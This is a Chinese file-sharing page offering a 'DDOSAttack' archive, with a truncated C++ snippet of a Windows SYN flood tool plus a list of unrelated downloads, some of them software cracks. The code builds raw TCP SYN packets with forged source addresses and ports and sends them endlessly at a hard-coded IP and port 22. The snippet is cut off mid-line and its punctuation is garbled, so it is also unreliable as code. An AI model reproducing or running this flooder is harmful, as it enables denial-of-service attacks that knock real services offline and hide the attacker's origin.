资源简介
DDOSAttack.zip

代码片段和文件信息
// ConsoleApplication4.cpp : 定义控制台应用程序的入口点。
//
#include “stdafx.h“
#include
#include
#include
#pragma comment(lib“WS2_32.LIB“)
typedef struct tag_ip_Header {//ip首部
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYNACK等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int SourceIP;//伪造IP地址
unsigned int DestIP;//攻击的ip地址
}IPHEADER;
typedef struct tag_tcp_Header {
USHORT th_sport;//伪造端口
USHORT th_dport;//攻击端口
unsigned int th_seq;//32位系列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首布长度,6位保留字
unsigned char th_flag;//6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//
}TCPHEADER;
typedef struct tag_tsd_Header {
unsigned long saddr;//伪造地址
unsigned long daddr;//攻击地址
char mbz;//
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}TSDHEADER;
DWORD WINAPI Start(void);
HANDLE hFind[10];
//计算效验和
USHORT Checksum(USHORT *bufferint size) {
unsigned long check=0;
while(size>1) {
check+=*buffer++;
size -=sizeof(USHORT);
}
if(size) {
check += *(USHORT*)buffer;
}
check = (check >>16) + (check & 0xffff);
check += (check >>16);
return (USHORT)(~check);
}
//攻击线程
DWORD WINAPI Statr(void) {
SOCKET sock;
WSADATA WSAData;
SOCKADDR_IN syn_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
TSDHEADER psdHeader;
const char *addr = “192.168.145.128“;//攻击的IP地址
int port = 22;//要攻击的端口
if(WSAStartup(MAKEWORD(22)&WSAData)) {
return false;
}
if((sock = socket(AF_INETSOCK_RAWIPPROTO_IP))==INVALID_SOCKET) {
return false;
}
BOOL flag=true;
if(setsockopt(sockIPPROTO_IPIP_HDRINCL(char*)&flagsizeof(flag))==SOCKET_ERROR) {
return false;
}
int Time =888;
if(setsockopt(sockSOL_SOCKETSO_SNDTIMEO(char*)&Timesizeof(Time))==SOCKET_ERROR) {
return false;
}
syn_in.sin_family = AF_INET;
syn_in.sin_port = htons(port);
syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
while(TRUE) {
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.SourceIP=htonl(GetTickCount()*1986);
ipHeader.DestIP=inet_addr(addr); //填充Tcp首部
int SourcePort =GetTickCount()*1986%514;
tcpHeader.th_dport=htons(port);
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(620);
tcpHeader.th_urp=0;
tcpHeader.th_sum=
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2016-03-17 13:03 DDOSAttack-master\
文件 4284 2016-03-17 13:03 DDOSAttack-master\DDOSAttack.cpp
文件 218 2016-03-17 13:03 DDOSAttack-master\stdafx.h
相关资源
- PID_AutoTune_v0.rar
- vspd7.2.308.zip
- 价值2k的H漫画小说系统
- Pythonamp;课堂amp;笔记(高淇amp;400;集第
- ddos压力测试工具99657
- UML建模大全
- 开源1A锂电池充电板TP4056原理图+PCB
- m1卡 ic卡可选择扇区初始化加密软件
- TSCC.exe
- FTP课程设计(服务端+客户端)
- 计算机图形学 边填充算法实现代码
- 电力系统潮流计算程序集合
- oracle数据迁移项目实施方案
- Web Api 通过文件流 文件到本地
- Visio图标-最新最全的网络通信图标库
- Spire API文档
- OpenGL参考手册
- Python中Numpy库最新教程
- SPD博士V5.3.exe
- 直流无刷电机方波驱动 stm32 例程代码
- layui后台管理模板
- 仿知乎界面小程序源代码
- 云平台-阿里云详细介绍
- photoshop经典1000例
- scratch垃圾分类源码(最终版本).sb
- IAR ARM 7.8破解
- TI CCS V5.4 安装步骤及破解文件
- 松下plc FP-XH的驱动
- 局域网硬件信息收集工具
- 加快Windows XP操作系统开机速度
评论
共有 条评论